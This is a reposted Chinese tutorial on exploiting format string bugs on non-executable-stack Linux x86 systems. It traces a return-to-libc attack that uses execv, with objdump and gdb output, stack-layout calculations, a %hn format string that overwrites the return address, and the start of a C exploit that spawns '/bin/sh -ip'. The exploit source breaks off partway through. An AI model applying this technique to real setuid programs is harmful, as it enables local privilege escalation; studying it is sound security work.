FormatString漏洞介绍/总结(五)

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

4.关于 format string漏洞在non-exec stack linux x86上的应用.

这里不特指使用了哪些non-exec stack补丁的系统, 我们的利用目的就是让我们的代码执行起来, 利用的方法可以有以下两种:

1. 利用execv 直接执行我们的代码, 这样避免了代码是在堆栈里执行的情况了.

2. 利用strcpy等将代码段或者shellcode拷贝到可写而且可执行的数据段里面.

3. 高级利用技术, 请参阅Phrack文摘.

当然还有其他好几种方法, 1,2比较容易理解点, 这里就1和2做出解释.

参考vuln程序还是利用前面几章介绍的代码.

(1) 利用execv执行我们的代码.

我们来看execv的函数执行格式:

$man execv

EXEC(3) Linux Programmer's Manual EXEC(3)

NAME

execl, execlp, execle, execv, execvp - execute a file

SYNOPSIS

#include <unistd.h

extern char **environ;

int execl(const char *path, const char *arg, ...);

int execlp(const char *file, const char *arg, ...);

int execle(const char *path, const char *arg , ..., char * const

envp[]);

int execv(const char *path, char *const argv[]);

int execvp(const char *file, char *const argv[]);

DESCRIPTION

从man page里面也可以知道为什么我们选用execv而不是用其他的execl,execlp等函数,或者system函数等,原因有几个:

a) execl,execlp函数最后面必须要有NULL结束, 等于就是0, 在format string里面想写入0到某个地址比较困难

b) execl,exclp等函数参数太多, 给我们构造format string带来了麻烦.

c) 为什么不用system呢? 从system的man page可以看出,system调用外部命令的方式是用/bin/sh -c , 对于一个具有suid的程序来说,bash 2版本不会加载suid权限为的, 除非我们给-p参数给他,也就是说除非使用/bin/sh -cp的方式调用才可以. 但system已经做死了, 所以不予考虑.虽然构造字符比较简单.

这里我们采用execv函数, 因为我们要在execv函数运行时候需要执行我们的参数, 所以写.dtors等方法不是很使用, 因为$esp的变动可能会影响我们的数据. 那我们就采用写函数的返回地址吧.

我们首先要知道几个地址:

a) execv在libc.so中的地址

b) 函数的返回地址

c) 我们的字符串在内存中的地址.

a,b, c等都可以轻松获得:

[bkbll@mobile test]$ objdump -x /lib/i686/libc.so.6 |grep execv

34 .gnu.warning.fexecve 00000039 00000000 00000000 0012a900 2**5

00000000 l O .gnu.warning.fexecve 00000039 __evoke_link_warning_fexecve

420ae650 l F .text 00000067 __execve

420ae9d0 l F .text 000002fc .hidden __GI_execvp

00000000 l d .gnu.warning.fexecve 00000000

420ae650 w F .text 00000067 execve

420ae6c0 g F .text 0000004d fexecve

420ae710 g F .text 00000039 execv

420ae9d0 g F .text 000002fc execvp

execv函数地址是0x 420ae710

我们来看看函数执行的时候返回地址在内存中存放的位置:

low addr--------------------------------- high addr

[ret addr][arg][arg][xxxxxxxxxxxxxxxxxxxxxx] :xxxx是我们不关心的数据

我们来看一看函数从leave 到ret指令的时候,esp和eip是怎么变化的:

0x80485c9 <foo+57: add $0x10,%esp

0x80485cc <foo+60: leave

0x80485cd <foo+61: ret

Breakpoint 4, foo (

line=0xbffff6a0 "/* write to foo function return address and esp\n")

at vuln.c:57

57 }

(gdb) i reg eip

eip 0x80485cc 0x80485cc

(gdb) i reg esp

esp 0xbffff680 0xbffff680

(gdb) ni

0x080485cd in foo (line=0x2 <Address 0x2 out of bounds) at vuln.c:57

57 }

(gdb) i reg eip esp

eip 0x80485cd 0x80485cd

esp 0xbffff68c 0xbffff68c

/* leave指令:eip 指向下一个要执行的地址,esp+12 */

(gdb) ni

0x08048583 in main (argc=2, argv=0xbffffb04) at vuln.c:44

44 foo (line);

(gdb) i reg eip esp

eip 0x8048583 0x8048583

esp 0xbffff690 0xbffff690

/* 要从函数返回了,eip指向函数的返回地址,就是前面的ret addr */

/* esp=esp+4; */

注意,这里的esp=(原来的ret addr) +4,

也就是说,如果我们改变程序流程的话, 让eip指向我们的函数,那么这个时候内存应该是这个样子:

low addr ----------------------------------------------------- high addr

[new function] [arg][arg][arg] [xxxxxxxxxxxxxxxxxxxxxxxxxxxx]

↑ $eip ↑$esp

跳到新函数地址后:

low addr ------------------------------------- high addr

[ret addr][arg][arg][arg][xxxxxxxxxxxxxxxxxxxxx]

↑$esp

也就是说原来的$esp+4成了调用我们函数的新返回地址 /* 这个在后面讨论strcpy调用的时候有用 */

由于我们的execv函数是没有返回的,也就是说这个地址没有必要构造, 而我们的execv有两个参数:( const char *path, char *const argv[])

所以在这里,我们需要写入三个地址:

[ret addr ] [ret addr+8] [retaddr+8+4]

假设我们想执行/bin/sh -ip的话, 那么

char *path="/bin/sh",

而char argv[]应该是:{"/bin/sh","-ip",NULL}

假设我们的"/bin/sh"字符的地址是:_bin_sh_addr,

我们可以这样构造字符串:

"/bin/sh\x00-ip\x00"

这个时候字符串"-ip"的地址应该是:_ip_addr=_bin_sh_addr+strlen("/bin/sh")+1;

这个时候我们可以来构造argv结构:

[_bin_sh_addr][_ip_addr][0x00000000]

↑argv addr

合并一下, 将"/bin/sh\x00-ip\x00"写在后面,就是:

[_bin_sh_addr][_ip_addr][0x00000000][somepad] "/bin/sh\x00-ip\x00"

注:这里的somepad可以为0,也可以为某些其他字符,没什么用途, 但是在某些特殊系统可能有用^^.

那么我们可以计算arg的地址 :):

_argv_addr=_bin_sh_addr-somepad-4*3

这个时候地址构造就全部出来了, 现在剩下的就是_bin_sh_addr的地址确定, 绝对地址虽然比较难确定, 但和我们字符串开头的地址还是比较容易确定的:) 构造好后可以搜索内存或者用变量统计就可以计算得出:)

这个时候我们需要把下面几个地址写进堆栈里面:

execv函数的地址 写进 函数返回地址

_bin_sh_addr 写进 函数返回地址+8

_argv_addr 写进 函数返回地址+8+4

我们可以手工模拟一下大概数据计算, 并且根据大小排列一下:

假设_bin_sh_addr在0xbffff780, somepad=0,那么argv addr=0xbffff780-12=0xbffff774

要写的数据:

0x420ae710 0xbffff780 0xbffff774

分别按16位拆开:

0x420a<0xbfff<0xe710<0xf774<0xf780

num1 num2 num3 num4 num5

再来看一下数据的构成(按照高位在后的原则:)

0x420ae710 0xbffff780 0xbffff774

num3 num1 num5 num2 num4 num2

假设第一个要写的数据地址是pad个间隔(从数据开始地址到函数返回地址):

那么上面可以重新排列一下:

0x420ae710 0xbffff780 0xbffff774

num3 num1 num5 num2 num4 num5

pad pad+1 pad+2 pad+3 pad+4 pad+5

好,我们可以构造一下数据:

假设我们在输出num1的前面还输出了j 个字节的内容,那么应该是这样:

num1-j 写到 pad+1处

num2-num1 写到 pad+3,pad+5处,

num3-num2 写到 pad处

num4-num3 写到 pad+4处

num5-num4 写到 pad+2处.

最后,我们构造的格式化字符串应该是这样的:

sprintf(buffer,"%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",num1-j,pad+1,num2-num1,pad+3,pad+5,num3-num2,pad,num4-num3,pad+4,num5-num4,pad+2);

最后就可以给出我们的exploit了:

/* write to foo function return address and esp

* use execv for getting shell in the non-exec stack system

* coded by bkbll(bkbll@cnhokenr.net)

*/

#include <stdio.h

#include <stdlib.h

#include <strings.h

#include <sys/types.h

#include <sys/stat.h

#include <fcntl.h

#define want_write_addr 0xbffff6ac //foo return address

//#define want_write_addr2 0xbffff684 //esp address

#define pad 12 //pop esp value

#define allstraddr 0xbffff6c0 // string addr:for gdb is 0xbffff6a0,for prog:0xbffff6c0

#define execv_call_addr 0x420ae710 //objdump -x /lib/i686/libc.so.6 |grep execv

#define BUFSIZE 200

char shellcode[]=

"/bin/sh\x00-ip\x00";

char *file="./4";

main(int argc,char **argv)

{

char buffer[BUFSIZE];

int j=0,i=0;

int shell_addr_pad=80;

int somechar=0;

int want_write_addr2 = want_write_addr+8;

int want_write_addr3 = want_write_addr+8+4;

int argvaddr; //= _bin_shaddr-somechar-4*3;

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航